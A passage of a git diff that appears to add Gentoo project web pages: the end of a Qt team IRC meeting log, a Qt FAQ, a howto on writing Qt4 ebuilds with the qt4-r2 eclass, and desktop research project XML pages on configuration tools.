+[21:48:20] <hwoarang> via an elog message on pkg_postinst
+[21:48:27] <wired> crossdev is the other solution, but theirs might be... eg more optimized for maemo
+[21:48:29] <ayoy> but there we're still using scratchbox
+[21:48:46] <ayoy> wired: it is exactly like that
+[21:48:59] <wired> then an ebuild would be nice
+[21:49:02] <wired> if possible
+[21:49:06] <ayoy> or at least Nokia has put their fingers on it
+[21:49:11] <ayoy> :)
+[21:49:14] <hwoarang> errr
+[21:49:20] <hwoarang> shall we use another repo for that?
+[21:49:27] <ayoy> I don't think so
+[21:49:33] <wired> nah, its nokia stuff
+[21:49:37] <wired> Qt stuff ;p
+[21:49:41] <ayoy> ;)
+[21:49:51] <hwoarang> no i mean so we wont work directly on qting-edge
+[21:50:02] <hwoarang> an when we do have a working set of ebuilds we can push them on qting-edge
+[21:50:15] <wired> well if you have something totally broken
+[21:50:17] <pesa> well, it's an overlay
+[21:50:18] <wired> mask it or use a branch
+[21:50:20] <ayoy> qting-edge is still kind of a playground, isn't it?
+[21:50:22] <ayoy> yeah
+[21:50:23] <chiiph> hwoarang: but there are a couple of ebuilds already in qting-edge...
+[21:50:30] <hwoarang> ok
+[21:50:38] <wired> if users unmask broken ebuilds in an overlay
+[21:50:41] <wired> what can we do? ;)
+[21:50:42] * hwoarang has to read the git branch manual again
+[21:50:44] <pesa> heh :)
+[21:50:49] <pesa> ok, i'll finish my ebuild for qt-mobility for now :)
+[21:50:59] <wired> great
+[21:51:07] <hwoarang> pesa: could you please stop working on qt-mobility and do your quizessssSS???
+[21:51:09] <hwoarang> thanks
+[21:51:10] <wired> lol
+[21:51:11] <pesa> ops
+[21:51:12] *** Joins: spatz (~spatz@gentoo/developer/spatz)
+[21:51:15] <ayoy> lol
+[21:51:15] <pesa> lol
+[21:51:15] <ayoy> ;D
+[21:51:34] <ayoy> hi spatz :D
+[21:51:36] <wired> spatz =]
+[21:51:36] <spatz> crap, I forgot (I was studying for an exam I have tomorrow)
+[21:51:39] <pesa> hey spatz
+[21:51:41] <wired> heh
+[21:51:50] <ayoy> gl then :)
+[21:51:55] <wired> yeah! go get em
+[21:51:58] <spatz> thanks :]
+[21:52:00] <wired> lets move to the last point
+[21:52:07] <chiiph> I can take a look at qt-simulator... I don't know if anyone else is already with that...
+[21:52:10] <pesa> oh good luck spatz!
+[21:52:15] <wired> chiiph: please do
+[21:52:16] <hwoarang> chiiph: go ahead
+[21:52:17] <hwoarang> hi spatz
+[21:52:17] <wired> ;)
+[21:52:24] <hwoarang> moving on?
+[21:52:25] <chiiph> oks...
+[21:52:29] <wired> 3. Re-distribute Qt4 live packages among the members
+[21:52:32] <hwoarang> ppl
+[21:52:33] <wired> im not sure
+[21:52:39] <wired> re-distribute is the right word
+[21:52:46] <hwoarang> you get the point :P
+[21:53:03] <hwoarang> more members should start testing these versions
+[21:53:09] <hwoarang> cause I wont be able to do it in 2 months
+[21:53:15] <wired> well
+[21:53:17] <hwoarang> so they will be abandoned
+[21:53:25] <wired> who's using live ebuilds now?
+[21:53:28] <hwoarang> i do!
+[21:53:29] <wired> besides hwoarang ?
+[21:53:33] <wired> :D
+[21:53:38] <ayoy> fail :)
+[21:53:41] <hwoarang> why ppl dont use them
+[21:53:43] <wired> nice
+[21:53:45] <hwoarang> they are rock stable
+[21:53:48] <hwoarang> and Sput
+[21:53:48] <wired> ok
+[21:53:50] <chiiph> I could use them...
+[21:53:51] <ayoy> yeah, I have to start
+[21:53:55] <hwoarang> an a couple of user in forums
+[21:53:56] <wired> we have sput and a few other -kde users that do the testing for us
+[21:54:02] <ayoy> I need a stable machine for work
+[21:54:09] <hwoarang> ayoy: qt.4.7.9999 is stable
+[21:54:09] <ayoy> well, somewhat stable ofc :)
+[21:54:11] <hwoarang> 4.6.9999 too
+[21:54:12] <hwoarang> :P
+[21:54:20] <ayoy> hwoarang: I know, I know
+[21:54:28] <ayoy> I'm about to switch to 4.7.9999 soonish
+[21:54:32] <hwoarang> people dont have to test stable-branch
+[21:54:33] <hwoarang> it is old
+[21:54:34] <ayoy> and I can stay there
+[21:54:36] <wired> i might switch one of my chroots
+[21:54:40] <hwoarang> can who cares about it anyway
+[21:54:46] <wired> to live ebuilds
+[21:55:13] <wired> that reminds me
+[21:55:20] <wired> hwoarang: since stable-branch is like relic-branch
+[21:55:27] <wired> hwoarang: lets make -stable-branch the default
+[21:55:35] <hwoarang> ok
+[21:56:02] <wired> alright
+[21:56:16] <wired> if i start using any live ebuilds
+[21:56:22] <wired> i'll let you guys know
+[21:56:29] <hwoarang> please update the page
+[21:56:30] <wired> in any case, i try to fix bugs for live ebuilds when reported
+[21:56:35] <wired> hwoarang: (yeah)
+[21:56:46] <hwoarang> http://gitorious.org/gentoo-qt/pages/Qt4%20live%20ebuilds
+[21:57:02] <hwoarang> plus
+[21:57:07] <hwoarang> there is this tracker
+[21:57:07] <hwoarang> http://bugs.gentoo.org/show_bug.cgi?id=313619
+[21:57:10] <hwoarang> for live ebuilds
+[21:57:14] <hwoarang> thats all
+[21:57:25] <hwoarang> and this page
+[21:57:26] <hwoarang> http://dev.gentoo.org/~hwoarang/qt/qt4-live-status
+[21:57:29] <hwoarang> for the status of live ebuilds
+[21:57:32] <hwoarang> we are done !
+[21:57:33] <wired> great
+[21:57:35] <wired> i think thats all
+[21:57:42] <wired> thank you all :)
+[21:57:46] <wired> --- meeting done ---
diff --git a/xml/htdocs/proj/en/desktop/qt/qt-faq.txt b/xml/htdocs/proj/en/desktop/qt/qt-faq.txt
new file mode 100644
index 00000000..74ac7bd2
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/qt-faq.txt
@@ -0,0 +1,61 @@
+===========================================
+  Qt on Gentoo Frequently Asked Questions
+===========================================
+
+:Author: Ben de Groot <yngwin@gentoo.org>
+
+.. contents::
+.. sectnum::
+
+
+Why do I need qt3support?
+-------------------------
+
+First of all, qt3support is a useflag that enables the qt-qt3support module in
+Qt4, as well as needed code in other Qt4 modules. It does in no way depend on
+Qt3. It contains classes that make porting Qt3 applications and libraries to
+Qt4 easier. They are Qt4 classes that emulate Qt3 behavior. This is really only
+interesting for the developer of that package, not for the user.
+
+Any Qt4-based package that uses these classes from Qt4's qt3support will
+require the qt3support useflag to be enabled. This means the useflag needs to
+be enabled for all Qt4 modules that have this useflag. Enabling it for one but
+not other modules would break things, either at compile time or at runtime, so
+we force the usage: it must be either enabled or disabled for all Qt ebuilds.
+And as there is no package other than the Qt libraries themselves that use this
+useflag, the recommendation is to enable (or disable) it globally in make.conf.
+
+As kdelibs-4 uses these qt3support classes internally (or so I've been told,
+I'm not a KDE dev or maintainer), there is a genuine requirement for qt3support
+to be enabled. There is no way you can have KDE4 without qt3support in Qt4. But
+this does not at all mean you need to keep Qt3 itself around. We strongly
+recommend you to remove x11-libs/qt:3.
+
+Users who do not use KDE, or anything that depends on kdelibs, should be able
+to have most other Qt4 applications work without qt3support.
+
+
+Why do I get blockers when trying to emerge Qt?
+-----------------------------------------------
+
+The most common causes are useflags that are not set correctly, or some but not
+all Qt modules added to package.keywords.
+
+.. (This section needs to be expanded.)
+
+
+What does the exceptions useflag do?
+------------------------------------
+
+The useflag description is technical, because the issue is technical. It is
+enabled by default, because this is the recommended setting for Qt. See bug
+240185 for a discussion. When a developer uses exceptions in his program, it
+will then produce a warning on certain errors, instead of a crash. This is a
+good thing, which we generally want. The downside is that the application will
+use some more memory and diskspace. So in cases where those are limited (think
+for example of embedded environments) it could be useful to turn this off.
+That is why we have decided to offer a useflag to disable this feature, after
+some users requested this.
+
+
+.. vim: syntax=rest:fenc=utf-8:
diff --git a/xml/htdocs/proj/en/desktop/qt/qt4-based-ebuild-howto.xml b/xml/htdocs/proj/en/desktop/qt/qt4-based-ebuild-howto.xml
new file mode 100644
index 00000000..690b4515
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/qt4-based-ebuild-howto.xml
@@ -0,0 +1,284 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/qt/qt4-based-ebuild-howto.xml,v 1.5 2010/08/15 22:28:22 hwoarang Exp $ -->
+
+<guide link="/proj/en/desktop/qt/qt4-ebuild-howto.xml" lang="en">
+<title>Qt4-based ebuild howto</title>
+
+<author title="Author">
+	<mail link="hwoarang" />
+</author>
+
+<author title="Author">
+	<mail link="ayoy" />
+</author>
+
+<author title="Editor">
+	<mail link="yngwin"/>
+</author>
+
+<abstract>
+This guide is intented to give an overview of how to create a Qt4-based ebuild. It will assist users to write proper ebuilds for Qt4 based packages using Gentoos' qt4-r2 eclass and split Qt4 dependencies.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.6.1</version>
+<date>2010-07-14</date>
+
+<chapter>
+	<title>Introduction</title>
+	<section>
+	<title>Purpose of this howto</title>
+	<body>
+	<p>The goal of this document is to introduce the qt4-r2 eclass and provide
+		basic instructions on writing ebuilds for applications that use the Qt4
+		qmake build system. If you're writing an ebuild for a Qt-based
+		application that uses cmake as a build system, you should take a look
+		at the cmake-utils eclass instead.</p>
+	</body>
+	</section>
+</chapter>
+<chapter>
+	<title>Required variables, inheriting eclass and EAPI version</title>
+		<section>
+		<title>Valid EAPI version</title>
+		<body>
+		<p>The first step for your shiny Qt4-based ebuild is to specify the
+		right EAPI. The current eclass is compatible with EAPI 2 and 3
+		<b>only</b>, so you have to use one of these when inheriting qt4-r2
+		eclass.</p>
+		<pre caption="Specify correct EAPI version">
+EAPI="3"</pre>
+		</body>
+		</section>
+		<section>
+		<title>Inherit qt4-r2 eclass</title>
+		<body>
+		<p>All Qt4 qmake-based ebuilds should use qt4-r2 eclass, which provides
+		usefull tools and features (listed below) for building Qt4 applications.
+		</p>
+		<pre caption="Inheriting qt4-r2 eclass">
+inherit qt4-r2</pre>
+		<warn>
+		There is an old qt4 eclass in the tree. It has been deprecated since
+		15 December 2009. Please use the qt4-r2 eclass instead, since we plan
+		to drop the old eclass. If you already maintain a Qt4 ebuild which uses
+		the qt4 eclass, please consider migrating to the new eclass as soon as
+		possible.
+		</warn>
+		</body>
+		</section>
+		<section>
+		<title>Language variables</title>
+		<body>
+		<p>
+		In case your ebuild provides translations, you should populate the IUSE
+		variable with appropriate <c>linguas_*</c> USE flags. When writing
+		ebuilds it is common to group language codes that are part of
+		translation filenames in a variable that is later used to iterate over
+		translations when configuring and/or installing the package.</p>
+		<p>Our qt4-r2 eclass provides two special variables for this purpose.
+		<c>LANGS</c> and <c>LANGSLONG</c> are meant to ease up <c>linguas_*</c>
+		USE flags population. All you have to do is set <c>LANGS</c> to a list
+		of translation languages for your package (using language codes as
+		specified in <path>${PORTDIR}/profiles/desc/linguas.desc</path>).</p>
+		<p>Some applications provide translation files with languages specified
+		together with a country code (e.g. <path>myapp_de_DE.ts</path>). That
+		is not always the proper solution from a Gentoo point of view, since
+		e.g. "de_DE" is an invalid <c>LINGUAS</c> member. If your package's
+		translation files contain language codes incompatible with those used
+		by Gentoo, the <c>LANGSLONG</c> variable might help you a bit. It will
+		cut off the country code from the language when populating
+		<c>linguas_*</c> IUSE. This way you can use an incompatible language
+		code to refer to the translation file, but still you're sure that
+		<c>linguas_*</c> use flag is specified correctly.</p>
+		<pre caption="Example of defining languages">
+LANGS="de es fr_CA hu pt_BR zh_CN"
+LANGSLONG="cs_CZ fr_FR pl_PL"</pre>
+		<p>This example results in the following expanded IUSE set:</p>
+		<pre caption="Resulting IUSE">
+IUSE="linguas_cs linguas_de linguas_es linguas_fr linguas_fr_CA linguas_hu
+linguas_pl linguas_pt_BR linguas_zh_CN"</pre>
+		<impo>
+		In order for automatic <c>linguas_*</c> IUSE generation to work,
+		<c>LANGS</c> and <c>LANGSLONG</c> <b>must</b> be set before inheriting
+		qt4-r2 eclass.
+		</impo>
+		</body>
+		</section>
+</chapter>
+
+<chapter>
+	<title>Dependencies and USE flags</title>
+	<section>
+	<title>Depend on Qt4 split packages</title>
+	<body>
+	<p>Since Qt-4.4.0 the Gentoo Qt team splits the monolithic Qt4 package
+	into smaller packages. Those are</p>
+	<ul>
+	<li> x11-libs/qt-assistant</li>
+	<li> x11-libs/qt-core</li>
+	<li> x11-libs/qt-dbus</li>
+	<li> x11-libs/qt-declarative</li>
+	<li> x11-libs/qt-demo</li>
+	<li> x11-libs/qt-gui</li>
+	<li> x11-libs/qt-multimedia</li>
+	<li> x11-libs/qt-opengl</li>
+	<li> x11-libs/qt-phonon</li>
+	<li> x11-libs/qt-qt3support</li>
+	<li> x11-libs/qt-script</li>
+	<li> x11-libs/qt-sql</li>
+	<li> x11-libs/qt-svg</li>
+	<li> x11-libs/qt-test</li>
+	<li> x11-libs/qt-webkit</li>
+	<li> x11-libs/qt-xmlpatterns</li>
+	</ul>
+	<p>Now all you need to do, is to specify the correct modules in the DEPEND
+	variable:</p>
+	<pre caption="Simple example to demonstrate proper qt4 split dependencies usage">
+DEPEND="x11-libs/qt-gui:4
+    x11-libs/qt-sql:4"</pre>
+	<warn>
+	Even though there is a <c>x11-libs/qt</c> metapackage, you <b>must NOT</b>
+	use it as a dependency. We have masked it to prevent that.
+	</warn>
+	</body>
+	</section>
+
+	<section>
+	<title>Debug and Release scope</title>
+	<body>
+	<p>Qt offers you the ability to build your applications using two different
+	modes:</p>
+	<ul>
+	<li>Release: Leads to smaller binaries, useful for the normal usage.</li>
+	<li>Debug: Leads to bigger binaries, useful for debugging during the
+		development process.</li>
+	</ul>
+	<p>Thus, qt4-r2 eclass can use the 'debug' use flag in order to build your
+	application with debug symbols.</p>
+	<pre caption="Add 'debug' use flag">
+IUSE="debug"</pre>
+	<impo>
+	'debug' use flag usage implies that you have already followed the
+	<uri link="/proj/en/qa/backtraces.xml">"How to get meaningful backtraces in
+	Gentoo"</uri> tutorial.
+	</impo>
+	</body>
+	</section>
+
+	<section>
+	<title> Package documentation</title>
+	<body>
+	<p>There is a special variable to use in case your package provides
+	documentation files. The <b>DOCS</b> variable can be used by the
+	<uri link="#doc_chap5_pre1">default src_install function</uri> to install
+	those documents. Normally the documents are located in the ${S} directory.
+	If not, set the <b>DOCSDIR</b> variable to match the documents path. If you
+	don't need to use DOCSDIR variable, then ${S} will be used by default.</p>
+	<pre caption="Simple example of DOCS variable usage">
+DOCSDIR="${S}/docs/"
+DOCS="Authors ChangeLog Readme"</pre>
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>Preparing the package</title>
+		<section>
+		<title>src_prepare function</title>
+		<body>
+		<p>EAPI2 introduced the src_prepare function which is executed right
+		after src_unpack. The default implementation does nothing.</p>
+		</body>
+		</section>
+		<section>
+		<title>Applying patches</title>
+		<body>
+		<p>The qt4-r2 eclass uses the base eclass autopatcher in order to apply
+		patches. All you have to do is to specify which patches you want to apply
+		using the PATCHES array:</p>
+		<pre caption="Simple example for using the PATCHES array">
+PATCHES=(
+    "${FILESDIR}/fixconfig.patch"
+    "${FILESDIR}/fixgui.patch"
+)</pre>
+		<impo>
+		Please note that PATCHES is an array, so you will always need to
+		includes patches between parentheses.
+		</impo>
+		</body>
+		</section>
+</chapter>
+
+<chapter>
+	<title>Configure the sources</title>
+		<section>
+		<title>The 'magic' eqmake4 tool</title>
+		<body>
+		<p>We provide a special function for configuring Qt4 project files.
+		That is eqmake4, which is provided by the qt4-r2 eclass. It is based on
+		qmake, plus it uses default Qt variables for proper package
+		configuration. Packages should be configured during the src_configure
+		phase. The <b>default src_configure phase</b> finds and configures
+		project files (.pro files) located in the ${S} directory. If there are
+		more than one project files in there, it will try to find the one named
+		${PN}.pro or $(basename ${PWD}).pro. In case your package uses some
+		weird file hierarchy and you need to configure a project file in a
+		subdirectory, then you can specify the path as a parameter to eqmake4:</p>
+		<pre caption="Simple example for src_configure function">
+src_configure() {
+    eqmake4 "${S}"/tool/foo.pro
+}</pre>
+		<impo>
+		eqmake4 does not need a 'die' statement.
+		</impo>
+		<p>There are some rare occasions where eqmake4 fails, but qmake works.
+		Please file a <uri link="http://bugs.gentoo.org">bug</uri> about this,
+		in order for us to possibly fix this.</p>
+	</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Installation</title>
+		<section>
+		<title>src_install function</title>
+		<body>
+		<p>
+		The <b>default src_install</b> in qt4-r2 eclass is the following:</p>
+		<pre caption="default src_install function">
+qt4-r2_src_install() {
+    debug-print-function $FUNCNAME "$@"
+    emake INSTALL_ROOT="${D}" DESTDIR="${D}" install || die "emake install failed"
+    # install documentation
+    if [[ -n "${DOCS}" ]]; then
+        local dir=${DOCSDIR:-${S}}
+        for doc in ${DOCS}; do
+            dodoc "${dir}/${doc}" || die "dodoc failed"
+        done
+    fi
+}</pre>
+		<p>
+		This is the most popular method to install Qt4 packages and their
+		documentation. Rarely you will need to override this function. Usually,
+		you write an extended version of this one, to support translations
+		installation, like the following case:</p>
+		<pre caption="extended src_install function">
+src_install() {
+    # do normal installation
+    qt4-r2_src_install
+    # Install translations
+    for X in ${LINGUAS}; do
+        for Z in ${LANGS}; do
+            ...
+            ...</pre>
+		</body>
+		</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/research/Xeasyconf-ng.xml b/xml/htdocs/proj/en/desktop/research/Xeasyconf-ng.xml
new file mode 100644
index 00000000..599604ed
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/research/Xeasyconf-ng.xml
@@ -0,0 +1,85 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>Xeasyconf-ng</name>
+	<longname>Xeasyconf rewrite</longname>
+
+	<description>
+		This document specifies the tasks, specs, state of the new Xeasyconf.
+	</description>
+
+	<longdescription>
+<p>Xeasyconf is good but not easily maintainable, in bash, only ppc oriented.
+Xeasyconf-ng is a rewrite, using libconf/glueconf. It can be seen as a
+demonstration/prototype of libconf/glueconf based application
+</p>
+	</longdescription>
+	<goals><p>
+specifications, datastructure, state of Xeasyconf-ng
+	</p></goals>
+		      
+	<resource link="http://libconf.net">libconf website</resource>
+				  
+	
+	<dev role="lead">dams</dev>
+        <task id="glueconf_xf86config" lead="dams" finished="yes">
+	  <name>xf86config glueconf module</name>
+	  <description>debugging and ending of the xf86config glueconf module</description>
+	  <longdescription><p>
+	  The glueconf module that maps xf86config config file to a easy to use
+        structure is not perfect, and need adjustments, debuggings and tests.
+	  </p></longdescription>
+	  <startdate>2004/03/18</startdate>
+	  <enddate>2004/03/31</enddate>
+	  <dev role="" description="">dams</dev>
+	</task>
+        <task id="libconf_gtk_correction" lead="dams" finished="no">
+	  <name>libconf gtk2 correction</name>
+	  <description>correct the broken dependancies, introduce ugtk2</description>
+	  <longdescription><p>
+	  see bug #44207
+	  </p></longdescription>
+	  <startdate>2004/04/01</startdate>
+	  <enddate>2004/04/11</enddate>
+	  <reference>
+	    <bug no="44207"/>
+	  </reference>
+	  <dev role="" description="">dams</dev>
+	</task>
+        <task id="specs" lead="dams" finished="no">
+	  <name>libconf gtk2 correction</name>
+	  <description>Xeasyconf-ng specifications</description>
+	  <longdescription><p>
+	  what the appli should do in the user point of view
+	  </p></longdescription>
+	  <startdate>2004/04/12</startdate>
+	  <enddate>2004/03/19</enddate>
+	  <dev role="" description="">dams</dev>
+	  <depends ref="glueconf_xf86config"/>
+	  <depends ref="libconf_gtk_correction"/>
+	</task>
+        <task id="data_storage" lead="dams" finished="no">
+	  <name>Data storage</name>
+	  <description>Xeasyconf-ng Data storage description/implementation</description>
+	  <longdescription><p>
+	  find a way to store the detect/config information
+	  </p></longdescription>
+	  <startdate>2004/04/20</startdate>
+	  <enddate>2004/03/30</enddate>
+	  <dev role="" description="">dams</dev>
+	  <depends ref="specs"/>
+	</task>
+        <task id="coding" lead="dams" finished="no">
+	  <name>Xeasyconf coding</name>
+	  <description>Xeasyconf-ng coding</description>
+	  <longdescription><p>
+	  coding, integration/debugging with testers
+	  </p></longdescription>
+	  <startdate>2004/05/01</startdate>
+	  <enddate>2004/5/15</enddate>
+	  <dev role="" description="">dams</dev>
+	  <depends ref="specs"/>
+	</task>
+</project>
diff --git a/xml/htdocs/proj/en/desktop/research/config_tools.xml b/xml/htdocs/proj/en/desktop/research/config_tools.xml
new file mode 100644
index 00000000..99dfed09
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/research/config_tools.xml
@@ -0,0 +1,134 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>config_tools_research</name>
+	<longname>Gentoo Configuration Tools Research Project</longname>
+
+	<description>
+		This document specifies the Gentoo Configuration Tools project.
+	</description>
+
+	<longdescription>
+<p>The config tools goals and specifications are here researched and defined.
+The development may be done in a seperate project, in a later time.
+</p>
+	</longdescription>
+	<goals><p>
+    This project is an attempt to design tools that will make Gentoo
+    configuration more user friendly, although these tools don't necessarely
+    have GUI frontends.
+	</p></goals>
+		      
+	<resource link="manifest.xml">Manifest, our set of rules and
+	  definitions on how to handle desktop research tasks
+	</resource>
+	<resource link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/">
+	  Mailinglist Archive
+	</resource>
+
+	<resource link="meeting_reports.xml">Meetings reports</resource>
+				  
+	
+	<dev role="core member">dams</dev>
+	
+  <task id="config_tools_description" lead="" finished="no">
+	  <name>Gentoo config tools research</name>
+	  <description>Research on the config tools topic</description>
+	  <longdescription><p>
+	  This project is an attempt to design tools that will make Gentoo
+	  configuration more user friendly,
+	  although these tools don't necceserily have GUI frontends. This task
+	  is writing a description of what we want
+	  </p></longdescription>
+	  <startdate>2004/01/26</startdate>
+	  <reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+	  </reference>
+	  <dev role="" description=" "></dev>
+	  <dev role="" description="">dams</dev>
+	</task>
+
+  <task id="config_tools_runlevel_editor" lead="" finished="no">
+	  <name>Gentoo Runlevel editor</name>
+	  <description>Design a runlevel configuration tool</description>
+	  <longdescription><p>
+	  A tool to select the services that should start/stop at specified
+	  runlevels. This tool is also able to start, stop and restart
+	  individual services.
+	  </p></longdescription>
+	  <startdate>2004/01/21</startdate>
+	  <depends ref="config_tools_description"/>
+	  <reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+	  </reference>
+	  <dev role="" description=" "></dev>
+	  <dev role="" description="">dams</dev>
+	</task>
+
+  <task id="config_tools_user_editor" lead="" finished="no">
+	  <name>Gentoo User Editor</name>
+	  <description>Design a tool for maintaining a systems user database</description>
+	  <longdescription><p>
+	    A tool the manage user accounts. In the first place only local users,
+      later on support for ldap, etc. can be added. As a first version Fedora's
+      user editor can be used, which provides support for local users only.
+    </p></longdescription>
+	  <startdate>2004/01/21</startdate>
+	  <depends ref="config_tools_description"/>
+	  <reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+	  </reference>
+    <reference>
+      <uri
+      link="http://fedora.redhat.com/projects/config-tools/redhat-config-users.html">Fedora's
+      user management tool</uri>
+    </reference>
+	  <dev role="" description=" "></dev>
+	  <dev role="" description="">dams</dev>
+	</task>
+
+  <task id="config_tools_config_editor" lead="" finished="no">
+	  <name>Gentoo Configuration Editor</name>
+	  <description>Design a tool for maintaining a systems global configuration</description>
+	  <longdescription><p>
+      A tool designed for maintaining a systems global configuration, like
+      make.conf, rc.conf, etc.
+    </p></longdescription>
+	  <startdate>2004/01/21</startdate>
+	  <depends ref="config_tools_description"/>
+	  <reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+	  </reference>
+	  <dev role="" description=" "></dev>
+	  <dev role="" description="">dams</dev>
+	</task>
+
+  <task id="config_tools_network_configurator" lead="" finished="no">
+	  <name>Gentoo Network Configuration Tool</name>
+	  <description>Design a tool for configuring network connections</description>
+	  <longdescription><p>
+      A tool to simplify network configuration. I should be able to add
+      interfaces (to net.ethX and /etc/conf.d/net), and configure them. At a
+      later point PPP interface support can be added to configure (ADSL) modems.
+    </p></longdescription>
+	  <startdate>2004/01/21</startdate>
+	  <depends ref="config_tools_description"/>
+	  <reference>
+	    <uri link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/cutoff=6">
+	     Mailinglist Archive
+	    </uri>
+	  </reference>
+	  <dev role="" description=" "></dev>
+	  <dev role="" description="">dams</dev>
+	</task>
+</project>
diff --git a/xml/htdocs/proj/en/desktop/research/config_tools_reqs.xml b/xml/htdocs/proj/en/desktop/research/config_tools_reqs.xml
new file mode 100644
index 00000000..14b7ffe0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/research/config_tools_reqs.xml
@@ -0,0 +1,98 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide>
+<title>Configuration Tools Requirements</title>
+<author title="Author">
+  <mail link="blubber@gentoo.org">Tiemo Kieft</mail>
+</author>
+
+<abstract>
+This document specifies the requirements for the config tools subproject.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>March 5, 2004</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+<p>
+This document specifies the requirements for the Configuration Tools subproject.
+Individual requirements are specified for every tool, describing the function
+of that specific tool. Some overall requirements are specified which are met
+by all tools.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Overall Requirements</title>
+
+<section>
+<title>Initial version</title>
+<body>
+<p>
+<ul>
+  <li>The tools can have more then one userinteface</li>
+  <li>The user can select a userinterface by specifing some commandline 
+    option (for example -g for a GUI)</li>
+  <li>If no commandline option is specified the GUI is tried</li>
+  <li>All tools can ask for the root password when necesary</li>
+</ul>
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Runlevel editor</title>
+<section>
+<title>Initial Version</title>
+<body>
+<p>
+<ul>
+  <li>The runlevel editor can start services</li>
+  <li>The runlevel editor can stop services</li>
+  <li>The runlevel editor can restart services</li>
+  <li>The runlevel editor can remove any service from any runlevel</li>
+  <li>The runlevel editor can display a description for every service 
+   in the list</li>
+  <li>The runlevel editor can display the status for any service in 
+    the list</li>
+</ul>
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Network Configuration editor</title>
+<section>
+<title>Initial Version</title>
+<body>
+<p>
+<ul>
+  <li>The Network Configuration editor can display an overview of available
+    ethernet interfaces</li>
+  <li>The Network Configuration editor can add ethernet interfaces
+    <ul>
+      <li>Add net.* links to /etc/init.d/</li>
+      <li>Edit /etc/conf.d/net</li>
+      <li>Autoload the appropriate module</li>
+    </ul>
+  </li>
+  <li>The Network Configuration editor can remove ethernet interfaces (See 
+    the above)</li>
+  <li>The Network Configuration editor can configure a gateway</li> 
+  <li>The Network Configuration editor can edit dns settings</li>
+</ul>
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/research/index.xml b/xml/htdocs/proj/en/desktop/research/index.xml
new file mode 100644
index 00000000..7875982e
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/research/index.xml
@@ -0,0 +1,171 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd"> 
+<project>
+	<name>research</name>
+	<longname>Gentoo Desktop Research Project</longname>
+
+	<description>
+		The research project researches how the desktop can be improved
+	</description>
+
+	<longdescription>
+<p>The desktop research project is not intended to maintain or manage existing
+ebuilds/features, but to research how existing features can be improved, or
+corrected, to work better with other components, to enhance the desktop experience.
+</p>
+	</longdescription>
+	<goals><p>
+		Desktop Gentoo's purpose is to improve Gentoo desktop experience, by researching
+		how existing features can be improved or corrected, by trying to make desktop components work
+		better together, and by eventually developing new components. This project is intended to be 
+		a team of gentoo developers, spending their time in auditing the Gentoo desktop experience in
+		a general manner, and to find places where it can be improved. Each time an improvement is discovered,
+		a corresponding task is designed and planned.
+	</p></goals>
+		      
+	<resource link="manifest.xml">Manifest, our set of rules and
+	  definitions on how to handle desktop research tasks
+	</resource>
+	<resource link="http://news.gmane.org/gmane.linux.gentoo.desktop.research/">
+	  Mailinglist Archive
+	</resource>
+
+	<resource link="meeting_reports.xml">Meetings reports</resource>
+				  
+	
+	<dev role="lead">dams</dev>
+	<dev role="core member">pauldv</dev>
+	<dev role="core member">bradlyatc</dev>
+	<dev role="core member">lu_zero</dev>
+	<extrachapter position="devs">
+	  <title>Project Status</title>
+	  <section>
+	    <title>Project Inactive</title>
+	    <body>
+	      <warn>Please note, that the Desktop Research Project is more or less
+	      inactive at the moment and that the information given here is
+	      not up to date.</warn>
+	    </body>
+	  </section>
+	</extrachapter>
+	
+        <task id="recruting" lead="dams" finished="yes">
+	  <name>Core team recruitment</name>
+	  <description>Recruitment of core members</description>
+	  <longdescription><p>
+	  We need a small team of motivated people that wants to join us,
+	  before writing down precises goals, methods and documentations.
+	  People of this team don't need a particular development skill, but
+	  should have an opinion about desktop research, the way it should be
+	  done and so on.
